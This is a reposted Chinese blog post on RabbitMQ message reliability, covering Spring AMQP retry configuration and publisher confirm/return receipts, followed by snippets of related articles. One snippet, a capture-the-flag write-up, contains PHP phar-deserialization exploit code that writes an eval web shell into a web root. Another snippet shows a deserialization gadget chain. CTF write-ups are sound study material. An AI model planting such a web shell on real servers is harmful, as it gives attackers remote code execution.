MQ高级

news/2025/1/18 14:57:30/文章来源:https://www.cnblogs.com/DeveloperHan/p/18338613

消息的可靠性:一个消息发送出去以后至少被消费一次

丢失场景:消息发送时候丢失,mq崩了消息丢失,消费者把消息搞丢了(交易服务)

 解决方法针对以上三个场景和兜底方案

 1、发送者可靠性

消息从生产者到消费者的每一步都可能导致消息丢失:

- 发送消息时丢失:
- 生产者发送消息时连接MQ失败
- 生产者发送消息到达MQ后未找到`Exchange`
- 生产者发送消息到达MQ的`Exchange`后,未找到合适的`Queue`
- 消息到达MQ后,处理消息的进程发生异常
- MQ导致消息丢失:
- 消息到达MQ,保存到队列后,尚未消费就突然宕机
- 消费者处理消息时:
- 消息接收后尚未处理突然宕机
- 消息接收后处理过程中抛出异常

综上,我们要解决消息丢失问题,保证MQ的可靠性,就必须从3个方面入手:

- 确保生产者一定把消息发送到MQ
- 确保MQ不会将消息弄丢
- 确保消费者一定要处理消息

1.1.生产者重试机制

 

生产者发送消息时,出现了网络故障,导致与MQ的连接中断。

为了解决这个问题,SpringAMQP提供的消息发送时的重试机制。即:当`RabbitTemplate`与MQ连接超时后,多次重试。

修改`publisher`模块的`application.yaml`文件,添加下面的内容:

spring:
rabbitmq:
connection-timeout: 1s # 设置MQ的连接超时时间
template:
retry:
enabled: true # 开启超时重试机制
initial-interval: 1000ms # 失败后的初始等待时间
multiplier: 1 # 失败后下次的等待时长倍数,下次等待时长 = initial-interval * multiplier
max-attempts: 3 # 最大重试次数

**注意**:当网络不稳定的时候,利用重试机制可以有效提高消息发送的成功率。不过SpringAMQP提供的重试机制是**阻塞式**的重试,也就是说多次重试等待的过程中,当前线程是被阻塞的。
如果对于业务性能有要求,建议禁用重试机制。如果一定要使用,请合理配置等待时长和重试次数,当然也可以考虑使用异步线程来执行发送消息的代码

1.2.生产者确认机制

一般情况下,只要生产者与MQ之间的网路连接顺畅,基本不会出现发送消息丢失的情况,因此大多数情况下我们无需考虑这种问题。
不过,在少数情况下,也会出现消息发送到MQ之后丢失的现象,比如:

- MQ内部处理消息的进程发生了异常
- 生产者发送消息到达MQ后未找到`Exchange`
- 生产者发送消息到达MQ的`Exchange`后,未找到合适的`Queue`,因此无法路由

针对上述情况,RabbitMQ提供了生产者消息确认机制,包括`Publisher Confirm`和`Publisher Return`两种。在开启确认机制的情况下,当生产者发送消息给MQ后,MQ会根据消息处理的情况返回不同的**回执**。
具体如图所示:
![image.png](https://cdn.nlark.com/yuque/0/2023/png/27967491/1690366611659-d5c7f355-7ab1-4eb8-8488-13e1d98843ce.png#averageHue=%23faf7f7&clientId=ucb403171-cc9e-4&from=paste&height=376&id=ue3c6e070&originHeight=466&originWidth=1434&originalType=binary&ratio=1.2395833730697632&rotation=0&showTitle=false&size=81765&status=done&style=none&taskId=ue6af669a-1775-4a0f-ad77-cd9bc059880&title=&width=1156.8402990504578)
总结如下:

- 当消息投递到MQ,但是路由失败时,通过**Publisher Return**返回异常信息,同时返回ack的确认信息,代表投递成功
- 临时消息投递到了MQ,并且入队成功,返回ACK,告知投递成功
- 持久消息投递到了MQ,并且入队完成持久化,返回ACK ,告知投递成功
- 其它情况都会返回NACK,告知投递失败


其中`ack`和`nack`属于**Publisher Confirm**机制,`ack`是投递成功;`nack`是投递失败。而`return`则属于**Publisher Return**机制。
默认两种机制都是关闭状态,需要通过配置文件来开启。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/776587.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

VitePress安装总结

1、安装node.js 2、安装vscode,并在扩展中安装markdown插件 3、在vscode的终端中修改淘宝镜像源:1npm config set registry https://registry.npmmirror.com4、在终端中输入1npm add -D vitepress5、在D盘创建文件夹,右键用vscode打开,或在vscode中打开文件夹 6、在终端中执…

哪位大佬知道为啥最后计数是0吗? 实际是有数据的

大家好,我是Python进阶者。 一、前言 前几天在Python白银交流群【Jethro Shen】问了一个Python数据处理的问题,问题如下:哪位大佬知道为啥最后计数是0吗?实际是有数据的二、实现过程 这里【瑜亮老师】给了一个指导,如下所示:这不是发生错误了么?你设置的发生错误return …

JDK、JRE和JVM简述

JDK(Java Development Kit) JDK是Java开发环境的核心组件,包括:Java编译器、JRE(Java运行环境)JavaDoc文档生成器和其他一些工具。 JDK是Java程序员开发Java应用程序所必需的软件包。 JRE(Java Runtime Environment) 也称为Java运行环境,它是Java应用程序运行的基础。…

PGjdbc源码试读(二)

本期目标 追踪Connection.createStatement() Statement.executeUpdate(String sql)追踪 Connection.createStatement() 在PgConnection中找到createStatement()方法:该方法调用了同名方法,并传递了两个参数,查询两个常量的注释:TYPE_FORWARD_ONLY 表示返回的集合ResultSet只…

四川省职工职业技能大赛网络安全决赛WP

上午CTF部分 web simplelogin yakit爆破出密码,记得应该是a123456: ppopp index.php有一个任意文件读取: <?php //upload.php error_reporting(0); highlight_file(__FILE__); class A {public $a;public function __destruct(){$s=$this->$a;$s();} } class B{publi…

硬件开发笔记(二十九):TPS54331电源设计(二):12V转3.3V和12V转4V原理图设计

前言电源供电电路设计很重要,为了更好的给对硬件设计有需求的人,特意将电源设计的基础过程描述出来。  紧接前一篇12V转5V的,本篇设计常用的12V转3.3V电路,不常用的12V转4V电路。 12V转3.3V电路步骤一:应用典型电路(依据底板和典型电路得差别,电感和电容在3.3~5V范围内…

深入浅出:可视化理解揭示决策树与梯度提升背后的数学原理

决策树是一种非参数的监督学习算法,可用于分类和回归。它使用类似树的结构来表示决策及其潜在结果。决策树易于理解和解释,并且可以轻松地进行可视化。但是当决策树模型变得过于复杂时,它不能很好地从训练数据中泛化,会导致过拟合。 梯度提升是一种集成学习模型,在其中结合…

ComfyUI插件:ComfyUI layer style 节点(二)

前言: 学习ComfyUI是一场持久战,而ComfyUI layer style 是一组专为图片设计制作且集成了Photoshop功能的强大节点。该节点几乎将PhotoShop的全部功能迁移到ComfyUI,诸如提供仿照Adobe Photoshop的图层样式、提供调整颜色功能(亮度、饱和度、对比度等)、提供Mask辅助工具、…

GitHub Star 数量前 15 的开源低代码项目

发现 GitHub 上最受欢迎的开源低代码项目。上周,我们发布了文章《GitHub Star 数量前 12 的开源无代码工具》,收获了许多喜爱。许多朋友留言问,为什么 n8n、Appsmith 等熟知的产品没有上榜?原因是我们是根据 GitHub 上的 "no-code" 标签来制作这份名单的,而这两…

CSS mask-image 实现边缘淡出过渡效果

CSS mask-image 实现边缘淡出过渡效果,关键是淡出,而非降低透明度。使用场景 在生产环境中,遇到一个需求,需要在一个深色风格的大屏页面中,嵌入 Google Maps。为了减少违和感,希望地图四边能够淡出过渡。 这里的“淡出过渡”,关键是淡出,而非降低透明度。 基于 Google …

达梦数据库查看版本

傻逼达梦在达梦命令界面执行命令select * from v$version;可以查看达梦当前版本号 还有一条命令可以查看更详细的信息select * from v$instance; 如下

NewStarCTF WEEK4|WEB PharOne

首先进入后查看源码进入class.php看见unlike很明显是一个phar反序列化的利用 我们有两种选择 一 一句话木马 <?php class Flag{public $cmd; }$a=new Flag(); $a->cmd="echo \"<?=@eval(\\\$_POST[a]);\">/var/www/html/1.php"; $phar = new…